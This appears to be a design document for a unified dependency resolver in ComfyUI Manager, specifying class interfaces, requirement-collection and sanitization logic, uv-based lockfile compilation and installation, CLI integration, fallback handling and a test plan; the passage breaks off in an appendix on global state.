||||
## 2. Class Design
|
||||
|
||||
### 2.1 UnifiedDepResolver
|
||||
|
||||
```python
|
||||
class UnifiedDepResolver:
|
||||
"""
|
||||
Unified dependency resolver.
|
||||
|
||||
Resolves and installs all dependencies of (installed node packs + new node packs)
|
||||
at once using uv.
|
||||
|
||||
Responsibility scope: Dependency resolution and installation only.
|
||||
install.py execution and PIPFixer calls are handled by the caller (manager_core).
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
node_pack_paths: list[str],
|
||||
base_requirements: list[str] | None = None,
|
||||
blacklist: set[str] | None = None,
|
||||
overrides: dict[str, str] | None = None,
|
||||
downgrade_blacklist: list[str] | None = None,
|
||||
):
|
||||
"""
|
||||
Args:
|
||||
node_pack_paths: List of node pack directory paths
|
||||
base_requirements: Base dependencies (ComfyUI requirements, etc.)
|
||||
blacklist: Blacklisted package set (default: empty set; not applied in v1 unified mode)
|
||||
overrides: Package name remapping dict (default: empty dict; not applied in v1 unified mode)
|
||||
downgrade_blacklist: Downgrade-prohibited package list (default: empty list; not applied in v1 unified mode)
|
||||
"""
|
||||
|
||||
def resolve_and_install(self) -> ResolveResult:
|
||||
"""Execute full pipeline: stale cleanup → collect → compile → install.
|
||||
Calls cleanup_stale_tmp() at start to clean up residual files from previous abnormal terminations."""
|
||||
|
||||
def collect_requirements(self) -> CollectedDeps:
|
||||
"""Collect dependencies from all node packs"""
|
||||
|
||||
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
|
||||
"""Generate pinned requirements via uv pip compile"""
|
||||
|
||||
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
|
||||
"""Install from pinned requirements (uv pip install -r)"""
|
||||
```
|
||||
|
||||
### 2.2 Data Classes
|
||||
|
||||
```python
|
||||
@dataclass
|
||||
class PackageRequirement:
|
||||
"""Individual package dependency"""
|
||||
name: str # Package name (normalized)
|
||||
spec: str # Original spec (e.g., "torch>=2.0")
|
||||
source: str # Source node pack path
|
||||
|
||||
@dataclass
|
||||
class CollectedDeps:
|
||||
"""All collected dependencies"""
|
||||
requirements: list[PackageRequirement] # Collected deps (duplicates allowed, uv resolves)
|
||||
skipped: list[tuple[str, str]] # (package_name, skip_reason)
|
||||
sources: dict[str, list[tuple[str, str]]] # {package_name: [(pack_path, pkg_spec), ...]}
|
||||
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
|
||||
extra_index_urls: list[str] # Additional index URLs separated from --index-url entries
|
||||
|
||||
@dataclass
|
||||
class LockfileResult:
|
||||
"""Compilation result"""
|
||||
success: bool
|
||||
lockfile_path: str | None # pinned requirements.txt path
|
||||
conflicts: list[str] # Conflict details
|
||||
stderr: str # uv error output
|
||||
|
||||
@dataclass
|
||||
class InstallResult:
|
||||
"""Installation result (uv pip install -r is atomic: all-or-nothing)"""
|
||||
success: bool
|
||||
installed: list[str] # Installed packages (stdout parsing)
|
||||
skipped: list[str] # Already installed (stdout parsing)
|
||||
stderr: str # uv stderr output (for failure analysis)
|
||||
|
||||
@dataclass
|
||||
class ResolveResult:
|
||||
"""Full pipeline result"""
|
||||
success: bool
|
||||
collected: CollectedDeps | None
|
||||
lockfile: LockfileResult | None
|
||||
install: InstallResult | None
|
||||
error: str | None
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Core Logic Details
|
||||
|
||||
### 3.1 Dependency Collection (`collect_requirements`)
|
||||
|
||||
```python
|
||||
# Input sanitization: dangerous patterns to reject
|
||||
_DANGEROUS_PATTERNS = re.compile(
|
||||
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
|
||||
r'|--find-links\b|-f\b|.*@\s*file://)',
|
||||
re.IGNORECASE
|
||||
)
|
||||
|
||||
def collect_requirements(self) -> CollectedDeps:
|
||||
requirements = []
|
||||
skipped = []
|
||||
sources = defaultdict(list)
|
||||
extra_index_urls = []
|
||||
|
||||
for path in self.node_pack_paths:
|
||||
# Exclude disabled node packs (directory-based mechanism)
|
||||
# Disabled node packs are actually moved to custom_nodes/.disabled/,
|
||||
# so they should already be excluded from input at this point.
|
||||
# Defensive check: new style (.disabled/ directory) + old style ({name}.disabled suffix)
|
||||
if ('/.disabled/' in path
|
||||
or os.path.basename(os.path.dirname(path)) == '.disabled'
|
||||
or path.rstrip('/').endswith('.disabled')):
|
||||
continue
|
||||
|
||||
req_file = os.path.join(path, "requirements.txt")
|
||||
if not os.path.exists(req_file):
|
||||
continue
|
||||
|
||||
# chardet-based encoding detection (existing robust_readlines pattern)
|
||||
for line in self._read_requirements(req_file):
|
||||
line = line.split('#')[0].strip()
|
||||
if not line:
|
||||
continue
|
||||
|
||||
# 0. Input sanitization (security)
|
||||
if self._DANGEROUS_PATTERNS.match(line):
|
||||
skipped.append((line, f"rejected: dangerous pattern in {path}"))
|
||||
logging.warning(f"[UnifiedDepResolver] rejected dangerous line: '{line}' from {path}")
|
||||
continue
|
||||
|
||||
# 1. Separate --index-url / --extra-index-url handling
|
||||
# (BEFORE path separator check, because URLs contain '/')
|
||||
if '--index-url' in line or '--extra-index-url' in line:
|
||||
pkg_spec, index_url = self._split_index_url(line)
|
||||
if index_url:
|
||||
extra_index_urls.append(index_url)
|
||||
line = pkg_spec
|
||||
if not line:
|
||||
# Standalone option line (no package prefix)
|
||||
continue
|
||||
|
||||
# 1b. Reject path separators in package name portion
|
||||
pkg_name_part = re.split(r'[><=!~;]', line)[0]
|
||||
if '/' in pkg_name_part or '\\' in pkg_name_part:
|
||||
skipped.append((line, f"rejected: path separator in package name"))
|
||||
continue
|
||||
|
||||
# 2. Apply remap_pip_package (using cm_global.pip_overrides)
|
||||
pkg_spec = self._remap_package(line)
|
||||
|
||||
# 3. Blacklist check (cm_global.pip_blacklist)
|
||||
pkg_name = self._extract_package_name(pkg_spec)
|
||||
if pkg_name in self.blacklist:
|
||||
skipped.append((pkg_spec, "blacklisted"))
|
||||
continue
|
||||
|
||||
# 4. Downgrade blacklist check (includes version comparison)
|
||||
if self._is_downgrade_blacklisted(pkg_name, pkg_spec):
|
||||
skipped.append((pkg_spec, "downgrade blacklisted"))
|
||||
continue
|
||||
|
||||
# 5. Collect (no dedup — uv handles resolution)
|
||||
req = PackageRequirement(
|
||||
name=pkg_name,
|
||||
spec=pkg_spec,
|
||||
source=path,
|
||||
)
|
||||
requirements.append(req)
|
||||
sources[pkg_name].append((path, pkg_spec))
|
||||
|
||||
return CollectedDeps(
|
||||
requirements=requirements,
|
||||
skipped=skipped,
|
||||
sources=dict(sources),
|
||||
extra_index_urls=list(set(extra_index_urls)), # Deduplicate
|
||||
)
|
||||
|
||||
def _split_index_url(self, line: str) -> tuple[str, str | None]:
|
||||
"""Split 'package_name --index-url URL' → (package_name, URL).
|
||||
|
||||
Also handles standalone ``--index-url URL`` and
|
||||
``--extra-index-url URL`` lines (with no package prefix).
|
||||
"""
|
||||
# Handle --extra-index-url first (contains '-index-url' as substring
|
||||
# but NOT '--index-url' due to the extra-index prefix)
|
||||
for option in ('--extra-index-url', '--index-url'):
|
||||
if option in line:
|
||||
parts = line.split(option, 1)
|
||||
pkg_spec = parts[0].strip()
|
||||
url = parts[1].strip() if len(parts) == 2 else None
|
||||
return pkg_spec, url
|
||||
return line, None
|
||||
|
||||
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str) -> bool:
|
||||
"""Reproduce the downgrade version comparison from existing is_blacklisted() logic.
|
||||
|
||||
Same logic as manager_core.py's is_blacklisted():
|
||||
- No version spec and already installed → block (prevent reinstall)
|
||||
- Operator is one of ['<=', '==', '<', '~='] and
|
||||
installed version >= requested version → block (prevent downgrade)
|
||||
- Version comparison uses manager_util.StrictVersion (NOT packaging.version)
|
||||
"""
|
||||
if pkg_name not in self.downgrade_blacklist:
|
||||
return False
|
||||
|
||||
installed_packages = manager_util.get_installed_packages()
|
||||
|
||||
# Version spec parsing (same pattern as existing is_blacklisted())
|
||||
pattern = r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
|
||||
match = re.search(pattern, pkg_spec)
|
||||
|
||||
if match is None:
|
||||
# No version spec: prevent reinstall if already installed
|
||||
if pkg_name in installed_packages:
|
||||
return True
|
||||
elif match.group(2) in ['<=', '==', '<', '~=']:
|
||||
# Downgrade operator: block if installed version >= requested version
|
||||
if pkg_name in installed_packages:
|
||||
try:
|
||||
installed_ver = manager_util.StrictVersion(installed_packages[pkg_name])
|
||||
requested_ver = manager_util.StrictVersion(match.group(3))
|
||||
if installed_ver >= requested_ver:
|
||||
return True
|
||||
except (ValueError, TypeError):
|
||||
logging.warning(f"[UnifiedDepResolver] version parse failed: {pkg_spec}")
|
||||
return False
|
||||
|
||||
return False
|
||||
|
||||
def _remap_package(self, pkg: str) -> str:
|
||||
"""Package name remapping based on cm_global.pip_overrides.
|
||||
Reuses existing remap_pip_package() logic."""
|
||||
if pkg in self.overrides:
|
||||
remapped = self.overrides[pkg]
|
||||
logging.info(f"[UnifiedDepResolver] '{pkg}' remapped to '{remapped}'")
|
||||
return remapped
|
||||
return pkg
|
||||
```
|
||||
|
||||
### 3.2 Lockfile Generation (`compile_lockfile`)
|
||||
|
||||
**Behavior:**
|
||||
1. Create a unique temp directory (`tempfile.mkdtemp(prefix="comfyui_resolver_")`) for concurrency safety
|
||||
2. Write collected requirements and base constraints to temp files
|
||||
3. Execute `uv pip compile` with options:
|
||||
- `--output-file` (pinned requirements path within temp dir)
|
||||
- `--python` (current interpreter)
|
||||
- `--constraint` (base dependencies)
|
||||
- `--extra-index-url` (from `CollectedDeps.extra_index_urls`, logged via `_redact_url()`)
|
||||
4. Timeout: 300s — returns `LockfileResult(success=False)` on `TimeoutExpired`
|
||||
5. On `returncode != 0`: parse stderr for conflict details via `_parse_conflicts()`
|
||||
6. Post-success verification: confirm lockfile was actually created (handles edge case of `returncode==0` without output)
|
||||
7. Temp directory cleanup: `shutil.rmtree()` in `except` block; on success, caller (`resolve_and_install`'s `finally`) handles cleanup
|
||||
|
||||
### 3.3 Dependency Installation (`install_from_lockfile`)
|
||||
|
||||
**Behavior:**
|
||||
1. Execute `uv pip install --requirement <lockfile_path> --python <sys.executable>`
|
||||
- **NOT `uv pip sync`** — sync deletes packages not in lockfile (dangerous for torch, ComfyUI deps)
|
||||
2. `uv pip install -r` is **atomic** (all-or-nothing): no partial failure
|
||||
3. Timeout: 600s — returns `InstallResult(success=False)` on `TimeoutExpired`
|
||||
4. On success: parse stdout via `_parse_install_output()` to populate `installed`/`skipped` lists
|
||||
5. On failure: `stderr` captures the failure cause; `installed=[]` (atomic model)
|
||||
|
||||
### 3.4 uv Command Resolution
|
||||
|
||||
**`_get_uv_cmd()` resolution order** (mirrors existing `get_pip_cmd()` pattern):
|
||||
1. **Module uv**: `[sys.executable, '-m', 'uv']` (with `-s` flag for embedded Python — note: `python_embeded` spelling is intentional, matching ComfyUI Windows distribution path)
|
||||
2. **Standalone uv**: `['uv']` via `shutil.which('uv')`
|
||||
3. **Not found**: raises `UvNotAvailableError` → caught by caller for pip fallback
|
||||
|
||||
### 3.5 Stale Temp File Cleanup
|
||||
|
||||
**`cleanup_stale_tmp(max_age_seconds=3600)`** — classmethod, called at start of `resolve_and_install()`:
|
||||
- Scans `tempfile.gettempdir()` for directories with prefix `comfyui_resolver_`
|
||||
- Deletes directories older than `max_age_seconds` (default: 1 hour)
|
||||
- Silently ignores `OSError` (permission issues, etc.)
|
||||
|
||||
### 3.6 Credential Redaction
|
||||
|
||||
```python
|
||||
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
|
||||
|
||||
def _redact_url(self, url: str) -> str:
|
||||
"""Mask authentication info in URLs. user:pass@host → ****@host"""
|
||||
return self._CREDENTIAL_PATTERN.sub('://****@', url)
|
||||
```
|
||||
|
||||
All `--extra-index-url` logging passes through `_redact_url()`:
|
||||
```python
|
||||
# Logging example within compile_lockfile()
|
||||
for url in deps.extra_index_urls:
|
||||
logging.info(f"[UnifiedDepResolver] extra-index-url: {self._redact_url(url)}")
|
||||
cmd += ["--extra-index-url", url] # Original URL passed to actual command
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Existing Code Integration
|
||||
|
||||
### 4.1 manager_core.py Modification Points
|
||||
|
||||
**2 `execute_install_script()` locations — both skip deps in unified mode:**
|
||||
|
||||
#### 4.1.1 UnifiedManager.execute_install_script() (Class Method)
|
||||
|
||||
#### 4.1.2 Standalone Function execute_install_script()
|
||||
|
||||
**Both locations use the same pattern when unified mode is active:**
|
||||
|
||||
1. `lazy_mode=True` → schedule and return early (unchanged)
|
||||
2. If `not no_deps and manager_util.use_unified_resolver`:
|
||||
- **Skip** the `requirements.txt` pip install loop entirely (deps deferred to startup)
|
||||
- Log: `"[UnifiedDepResolver] deps deferred to startup batch resolution"`
|
||||
3. If `not manager_util.use_unified_resolver`: existing pip install loop runs (unchanged)
|
||||
4. `install.py` execution: **always runs immediately** regardless of resolver mode
|
||||
|
||||
> **Parameter ordering differs:**
|
||||
> - Method: `(self, url, repo_path, instant_execution, lazy_mode, no_deps)`
|
||||
> - Standalone: `(url, repo_path, lazy_mode, instant_execution, no_deps)`
|
||||
|
||||
### 4.1.3 Startup Batch Resolver (`prestartup_script.py`)
|
||||
|
||||
**New**: Runs unified resolver at **module scope** — unconditionally when enabled, independent of `install-scripts.txt` existence.
|
||||
|
||||
**Execution point**: After config reading and `cm_global` initialization, **before** the `execute_startup_script()` gate.
|
||||
|
||||
**Logic** (uses module-level helpers from `unified_dep_resolver.py`):
|
||||
1. `collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes'))` — enumerate all installed node pack directories
|
||||
2. `collect_base_requirements(comfy_path)` — read `requirements.txt` + `manager_requirements.txt` from ComfyUI root (base deps only)
|
||||
3. Create `UnifiedDepResolver` with **empty** blacklist/overrides/downgrade_blacklist (uv handles resolution natively; interface preserved for extensibility)
|
||||
4. Call `resolve_and_install()` → on success set `_unified_resolver_succeeded = True`
|
||||
5. On failure (including `UvNotAvailableError`): log warning, fall back to per-node pip
|
||||
|
||||
> `manager_requirements.txt` is read **only** from `comfy_path` (ComfyUI base), never from node packs.
|
||||
> Node packs' `requirements.txt` are collected by the resolver's `collect_requirements()` method.
|
||||
|
||||
### 4.1.5 `execute_lazy_install_script()` Modification
|
||||
|
||||
When unified resolver **succeeds**, `execute_lazy_install_script()` skips the per-node pip install loop
|
||||
(deps already batch-resolved at module scope). `install.py` still runs per node pack.
|
||||
|
||||
```python
|
||||
# In execute_lazy_install_script():
|
||||
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
|
||||
# Per-node pip install: only runs if unified resolver is disabled or failed
|
||||
...
|
||||
# install.py always runs regardless
|
||||
```
|
||||
|
||||
> **Note**: Gated on `_unified_resolver_succeeded` (success flag), NOT `use_unified_resolver` (enable flag).
|
||||
> If the resolver is enabled but fails, `_unified_resolver_succeeded` remains False → per-node pip runs as fallback.
|
||||
|
||||
### 4.1.6 CLI Integration
|
||||
|
||||
Multiple entry points expose the unified resolver in `cm_cli`:
|
||||
|
||||
#### 4.1.6.1 Standalone Command: `cm_cli uv-compile`
|
||||
|
||||
On-demand batch resolution — independent of ComfyUI startup.
|
||||
|
||||
```bash
|
||||
cm_cli uv-compile [--user-directory DIR]
|
||||
```
|
||||
|
||||
Resolves all installed node packs' dependencies at once. Useful for environment
|
||||
recovery or initial setup without starting ComfyUI.
|
||||
`PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure).
|
||||
|
||||
#### 4.1.6.2 Install Flag: `cm_cli install --uv-compile`
|
||||
|
||||
```bash
|
||||
cm_cli install <node1> [node2 ...] --uv-compile [--mode remote]
|
||||
```
|
||||
|
||||
When `--uv-compile` is set:
|
||||
1. `no_deps` is forced to `True` → per-node pip install is skipped during each node installation
|
||||
2. After **all** nodes are installed, runs unified batch resolution over **all installed node packs**
|
||||
(not just the newly installed ones — `uv pip compile` needs the complete dependency graph)
|
||||
3. `PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure)
|
||||
|
||||
This differs from per-node pip install: instead of resolving each node pack's
|
||||
`requirements.txt` independently, all deps are compiled together to avoid conflicts.
|
||||
|
||||
#### 4.1.6.3 Additional `--uv-compile` Commands
|
||||
|
||||
The following commands follow the same `no_deps` + batch-resolve pattern as `install --uv-compile`:
|
||||
`cmd_ctx.set_no_deps(True)` is set before node operations, then `_run_unified_resolve()`
|
||||
runs at the end via `try/finally` with `PIPFixer.fix_broken()`.
|
||||
|
||||
| Command | Operation |
|
||||
|---------|-----------|
|
||||
| `cm_cli reinstall --uv-compile` | Reinstall nodes then batch-resolve |
|
||||
| `cm_cli update --uv-compile` | Update nodes then batch-resolve |
|
||||
| `cm_cli fix --uv-compile` | Fix node dependencies then batch-resolve |
|
||||
| `cm_cli restore-snapshot --uv-compile` | Restore snapshot then batch-resolve |
|
||||
| `cm_cli restore-dependencies --uv-compile` | Restore all node deps then batch-resolve |
|
||||
| `cm_cli install-deps <deps.json> --uv-compile` | Install from deps spec file then batch-resolve |
|
||||
|
||||
> **`reinstall` only**: Has `--uv-compile` / `--no-deps` mutual exclusion check.
|
||||
> Both skip per-node pip, but `--no-deps` skips permanently while `--uv-compile` also
|
||||
> triggers batch resolution after all nodes are processed.
|
||||
>
|
||||
> **`restore-snapshot` only**: Has an additional pre-resolution exception guard — if the
|
||||
> snapshot restore itself fails (before `_run_unified_resolve()` is reached),
|
||||
> `PIPFixer.fix_broken()` runs in the exception handler before exit. The `try/finally`
|
||||
> applies to the `_run_unified_resolve()` call. See dec_7 for rationale.
|
||||
|
||||
#### Shared Design Decisions
|
||||
|
||||
- **Uses real `cm_global` values**: Unlike the startup path (4.1.3) which passes empty
|
||||
blacklist/overrides, CLI commands pass `cm_global.pip_blacklist`,
|
||||
`cm_global.pip_overrides`, and `cm_global.pip_downgrade_blacklist` — already
|
||||
initialized at `cm_cli/__main__.py` module scope.
|
||||
- **No `_unified_resolver_succeeded` flag**: Not needed — these are one-shot commands,
|
||||
not startup gates.
|
||||
- **Shared helper**: All entry points delegate to `_run_unified_resolve()` which
|
||||
handles resolver instantiation, execution, and result reporting.
|
||||
- **Error handling**: `UvNotAvailableError` / `ImportError` → exit 1 with message.
|
||||
All entry points guarantee `PIPFixer.fix_broken()` runs regardless of outcome —
|
||||
via `try/finally` around `_run_unified_resolve()`. `restore-snapshot` additionally
|
||||
calls `fix_broken()` in the snapshot restore exception handler (before
|
||||
`_run_unified_resolve()` is reached), per dec_7.
|
||||
- **Conflict attribution output**: When resolution fails and `result.lockfile.conflicts`
|
||||
is non-empty, `_run_unified_resolve()` cross-references conflict package names with
|
||||
`CollectedDeps.sources` to identify which node packs requested each conflicting package:
|
||||
- Normalization: both sources keys and conflict text apply `.lower().replace("-", "_")`
|
||||
- Word-boundary regex `(?<![a-z0-9_])pkg(?![a-z0-9_])` prevents false-positive prefix
|
||||
matches (e.g., `torch` does NOT match `torch_audio` or `torchvision`)
|
||||
- Output format: sorted by package name, each entry lists `pack_basename → pkg_spec`
|
||||
per requester (using `CollectedDeps.sources` tuple values `(pack_path, pkg_spec)`)
|
||||
|
||||
**Node pack discovery**: Uses `cmd_ctx.get_custom_nodes_paths()` → `collect_node_pack_paths()`,
|
||||
which is the CLI-native path resolution (respects `--user-directory` and `folder_paths`).
|
||||
|
||||
### 4.2 Configuration Addition (config.ini)
|
||||
|
||||
```ini
|
||||
[default]
|
||||
# Existing settings...
|
||||
use_unified_resolver = false # Enable unified dependency resolution
|
||||
```
|
||||
|
||||
### 4.3 Configuration Reading
|
||||
|
||||
Follows the existing `read_uv_mode()` / `use_uv` pattern:
|
||||
- `prestartup_script.py`: `read_unified_resolver_mode()` reads from `default_conf` → sets `manager_util.use_unified_resolver`
|
||||
- `manager_core.py`: `read_config()` / `write_config()` / `get_config()` include `use_unified_resolver` key
|
||||
- `read_config()` exception fallback must include `use_unified_resolver` key to prevent `KeyError` in `write_config()`
|
||||
|
||||
### 4.4 manager_util.py Extension
|
||||
|
||||
```python
|
||||
# manager_util.py
|
||||
use_unified_resolver = False # New global flag (separate from use_uv)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Error Handling Strategy
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
STARTUP["prestartup_script.py startup"]
|
||||
STARTUP --> CHK{use_unified_resolver?}
|
||||
CHK -->|No| SKIP_UDR["Skip → execute_lazy_install_script per-node pip"]
|
||||
|
||||
CHK -->|Yes| RAI["run_unified_resolver()"]
|
||||
RAI --> STALE["cleanup_stale_tmp()<br/>Clean stale temp dirs (>1 hour old)"]
|
||||
STALE --> UV_CHK{uv installed?}
|
||||
UV_CHK -->|No| UV_ERR["UvNotAvailableError<br/>→ Fallback: execute_lazy_install_script per-node pip"]
|
||||
|
||||
UV_CHK -->|Yes| CR["collect_requirements()<br/>(ALL installed node packs)"]
|
||||
CR --> CR_DIS[".disabled/ path → auto-skip"]
|
||||
CR --> CR_PARSE["Parse failure → skip node pack, continue"]
|
||||
CR --> CR_ENC["Encoding detection failure → assume UTF-8"]
|
||||
CR --> CR_DANGER["Dangerous pattern detected → reject line + log"]
|
||||
CR --> CR_DG["Downgrade blacklist → skip after version comparison"]
|
||||
|
||||
CR --> CL["compile_lockfile()"]
|
||||
CL --> CL_CONFLICT["Conflict → report + per-node pip fallback"]
|
||||
CL --> CL_TIMEOUT["TimeoutExpired 300s → per-node pip fallback"]
|
||||
CL --> CL_NOFILE["Lockfile not created → failure + fallback"]
|
||||
CL --> CL_TMP["Temp directory → finally block cleanup"]
|
||||
|
||||
CL -->|Success| IL["install_from_lockfile()"]
|
||||
IL --> IL_OK["Total success → parse installed/skipped"]
|
||||
IL --> IL_FAIL["Total failure → stderr + per-node pip fallback (atomic)"]
|
||||
IL --> IL_TIMEOUT["TimeoutExpired 600s → fallback"]
|
||||
|
||||
IL_OK --> PF["PIPFixer.fix_broken()<br/>Restore torch/opencv/frontend"]
|
||||
PF --> LAZY["execute_lazy_install_script()<br/>(install.py only, deps skipped)"]
|
||||
```
|
||||
|
||||
> **Fallback model**: On resolver failure at startup, `execute_lazy_install_script()` runs normally
|
||||
> (per-node pip install), providing the same behavior as if unified mode were disabled.
|
||||
|
||||
---
|
||||
|
||||
## 6. File Structure
|
||||
|
||||
### 6.1 New Files
|
||||
|
||||
```
|
||||
comfyui_manager/common/unified_dep_resolver.py # Main module (~350 lines, includes sanitization/downgrade logic)
|
||||
tests/test_unified_dep_resolver.py # Unit tests
|
||||
```
|
||||
|
||||
### 6.2 Modified Files
|
||||
|
||||
```
|
||||
comfyui_manager/glob/manager_core.py # Skip per-node pip in unified mode (2 execute_install_script locations)
|
||||
comfyui_manager/common/manager_util.py # Add use_unified_resolver flag
|
||||
comfyui_manager/prestartup_script.py # Config reading + startup batch resolver + execute_lazy_install_script modification
|
||||
```
|
||||
|
||||
> **Not modified**: `comfyui_manager/legacy/manager_core.py` (legacy paths retain existing pip behavior)
|
||||
|
||||
---
|
||||
|
||||
## 7. Dependencies
|
||||
|
||||
| Dependency | Purpose | Notes |
|
||||
|-----------|---------|-------|
|
||||
| `uv` | Dependency resolution and installation | Already included in project dependencies |
|
||||
| `cm_global` | pip_overrides, pip_blacklist, pip_downgrade_blacklist | Reuse existing global state (runtime dynamic assignment) |
|
||||
| `manager_util` | StrictVersion, get_installed_packages, use_unified_resolver flag | Reuse existing utilities |
|
||||
| `tempfile` | Temporary requirements files, mkdtemp | Standard library |
|
||||
| `subprocess` | uv process execution | Standard library |
|
||||
| `dataclasses` | Result data structures | Standard library |
|
||||
| `re` | Input sanitization, version spec parsing, credential redaction | Standard library |
|
||||
| `shutil` | uv lookup (`which`), temp directory cleanup | Standard library |
|
||||
| `time` | Stale temp file age calculation | Standard library |
|
||||
| `logging` | Per-step logging | Standard library |
|
||||
|
||||
No additional external dependencies.
|
||||
|
||||
---
|
||||
|
||||
## 8. Sequence Diagram
|
||||
|
||||
### Install Time + Startup Batch Resolution
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
actor User
|
||||
participant MC as manager_core
|
||||
participant PS as prestartup_script
|
||||
participant UDR as UnifiedDepResolver
|
||||
participant UV as uv (CLI)
|
||||
|
||||
Note over User,MC: Install Time (immediate)
|
||||
User->>MC: Install node pack X
|
||||
MC->>MC: Git clone / download X
|
||||
MC->>MC: Skip per-node pip (unified mode)
|
||||
MC->>MC: Run X's install.py
|
||||
MC-->>User: Node pack installed (deps pending)
|
||||
|
||||
Note over User,UV: ComfyUI Restart
|
||||
User->>PS: Start ComfyUI
|
||||
PS->>PS: Check use_unified_resolver
|
||||
PS->>UDR: Create resolver (module scope)
|
||||
UDR->>UDR: collect_requirements()<br/>(ALL installed node packs)
|
||||
UDR->>UV: uv pip compile --output-file
|
||||
UV-->>UDR: pinned reqs.txt
|
||||
UDR->>UV: uv pip install -r
|
||||
UV-->>UDR: Install result
|
||||
UDR-->>PS: ResolveResult(success=True)
|
||||
PS->>PS: PIPFixer.fix_broken()
|
||||
PS->>PS: execute_lazy_install_script()<br/>(install.py only, deps skipped)
|
||||
PS-->>User: ComfyUI ready
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. Test Strategy
|
||||
|
||||
### 9.1 Unit Tests
|
||||
|
||||
| Test Target | Cases |
|
||||
|------------|-------|
|
||||
| `collect_requirements` | Normal parsing, empty file, blacklist filtering, comment handling, remap application |
|
||||
| `.disabled` filtering | Exclude node packs within `.disabled/` directory path (directory-based mechanism) |
|
||||
| Input sanitization | Reject lines with `-r`, `-e`, `--find-links`, `@ file://`, path separators |
|
||||
| `--index-url` / `--extra-index-url` separation | `package --index-url URL`, standalone `--index-url URL`, standalone `--extra-index-url URL`, `package --extra-index-url URL` → package spec + extra_index_urls separation |
|
||||
| Downgrade blacklist | Installed + lower version request → skip, not installed → pass, same/higher version → pass |
|
||||
| `compile_lockfile` | Normal compilation, conflict detection, TimeoutExpired, constraint application, --output-file verification |
|
||||
| Lockfile existence verification | Failure handling when file not created despite returncode==0 |
|
||||
| `extra_index_urls` passthrough | Verify `--extra-index-url` argument included in compile command |
|
||||
| `install_from_lockfile` | Normal install, total failure, TimeoutExpired |
|
||||
| Atomic model | On failure: installed=[], stderr populated |
|
||||
| `_get_uv_cmd` | Module uv, standalone uv, embedded python (`python_embeded`), not installed |
|
||||
| `_remap_package` | pip_overrides remapping, unregistered packages |
|
||||
| Blacklist | torch family, torchsde, custom blacklist |
|
||||
| Duplicate handling | Same package with multiple specs → all passed to uv |
|
||||
| Multiple paths | Collection from multiple custom_nodes paths |
|
||||
| `cm_global` defense | Default values used when `pip_blacklist` etc. not assigned |
|
||||
| Concurrency | Two resolver instances each use unique temp directories |
|
||||
| Credential redaction | `user:pass@host` URL masked in log output |
|
||||
| `_redact_url` | `://user:pass@host` → `://****@host` conversion, no-credential URL passthrough |
|
||||
| `cleanup_stale_tmp` | Delete stale dirs >1 hour, preserve recent dirs, ignore permission errors |
|
||||
| Downgrade operators | `<=`, `==`, `<`, `~=` blocked; `>=`, `>`, `!=` pass; no spec + installed → blocked |
|
||||
| `StrictVersion` comparison | Verify `manager_util.StrictVersion` is used (not `packaging.version`) |
|
||||
|
||||
### 9.2 Integration Tests
|
||||
|
||||
- End-to-end test in real uv environment
|
||||
- Existing pip fallback path test
|
||||
- config.ini setting toggle test
|
||||
- Environment integrity verification after PIPFixer call
|
||||
- lazy_mode scheduling behavior verification (Windows simulation)
|
||||
- `use_uv=False` + `use_unified_resolver=True` combination test
|
||||
- Large-scale dependency (50+ node packs) performance test
|
||||
|
||||
---
|
||||
|
||||
## 10. Implementation Order
|
||||
|
||||
1. **Phase 1**: Data classes and `collect_requirements` implementation + tests
|
||||
- PackageRequirement, CollectedDeps (including extra_index_urls) and other data classes
|
||||
- Blacklist/override filtering
|
||||
- **Downgrade blacklist** (version comparison logic included)
|
||||
- **Input sanitization** (-r, -e, @ file:// etc. rejection)
|
||||
- **`--index-url` / `--extra-index-url` separation handling** (package spec + extra_index_urls)
|
||||
- **`.disabled` node pack filtering**
|
||||
- Defensive cm_global access (getattr pattern)
|
||||
2. **Phase 2**: `compile_lockfile` implementation + tests
|
||||
- uv pip compile invocation
|
||||
- --output-file, --constraint, --python options
|
||||
- Conflict parsing logic
|
||||
3. **Phase 3**: `install_from_lockfile` implementation + tests
|
||||
- uv pip install -r invocation (NOT sync)
|
||||
- Install result parsing
|
||||
4. **Phase 4**: Integration — startup batch + install-time skip
|
||||
- `prestartup_script.py`: Module-scope startup batch resolver + `execute_lazy_install_script()` deps skip
|
||||
- `manager_core.py`: Skip per-node pip in 2 `execute_install_script()` locations
|
||||
- `manager_util.py`: `use_unified_resolver` flag
|
||||
- Config reading (`read_unified_resolver_mode()`, `read_config()`/`write_config()`)
|
||||
5. **Phase 5**: Integration tests + fallback verification + startup batch tests
|
||||
|
||||
---
|
||||
|
||||
## Appendix A: Existing Code Reference
|
||||
|
||||
> **Note**: Line numbers may shift as code changes, so references use symbol names (function/class names).
|
||||
> Use `grep -n` or IDE symbol search for exact locations.
|
||||
|
||||
### remap_pip_package Location (Code Duplication Exists)
|
||||
|
||||
```
|
||||
comfyui_manager/glob/manager_core.py — def remap_pip_package(pkg)
|
||||
comfyui_manager/prestartup_script.py — def remap_pip_package(pkg)
|
||||
```
|
||||
|
||||
Both reference `cm_global.pip_overrides` with identical logic.
|
||||
The unified resolver uses `cm_global.pip_overrides` directly to avoid adding more duplication.
|
||||
|
||||
### cm_global Global State
|
||||
|
||||
```python
|
||||
# Dynamically assigned in prestartup_script.py (NOT defined in cm_global.py!)
|
||||
cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'} # set
|
||||
